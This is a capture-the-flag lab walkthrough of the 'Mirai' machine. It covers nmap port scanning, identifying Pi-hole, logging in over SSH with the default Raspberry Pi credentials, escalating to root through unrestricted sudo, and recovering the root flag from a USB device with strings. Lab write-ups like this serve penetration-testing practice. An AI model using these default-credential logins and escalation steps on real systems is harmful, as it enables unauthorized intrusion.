Mirai

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.48 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,53,80,1490,32400,32469 10.10.10.48 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we scan the web server with the whatweb tool, we'll see that it has an uncommon header called x-pi-hole.

Pi-hole is a Linux network-level advertisement and Internet tracker blocking application, which acts as a DNS sinkhole and optionally a DHCP server, intended for use on a private network. It is designed for low-power embedded devices with network capability, such as the Raspberry Pi.

whatweb http://10.10.10.48

Exploitation

As the Pi-hole server might be running on a Raspberry Pi, and port 22 (SSH) is open, we could try the default credentials for Raspberry Pi devices, which are the user pi and the password raspberry. Once we are logged in, we could grab the user flag.

sshpass -p "raspberry" ssh pi@10.10.10.48

Privilege Escalation

We could try to list the sudo privielges of the pi user.

sudo -l

And we can execute any command as the root user. Let's get a shell as root.

sudo su

If we try to get the root flag, we'll get the following message.

cat /root/root.txt

If we list the system devices, we'll see the /dev/sdb device mounted on /media/usbstick.

df -h

  • -h human readable.

Let's take a look at the /media/usbstick directory.

ls -la /media/usbstick

There is the damnit.txt file with the following message.

cat /media/usbstick/damnit.txt

But if we print the string of the /dev/sdb device, all we have to do is reap the harvest and take the root flag.

strings /dev/sdb

Last updated

Was this helpful?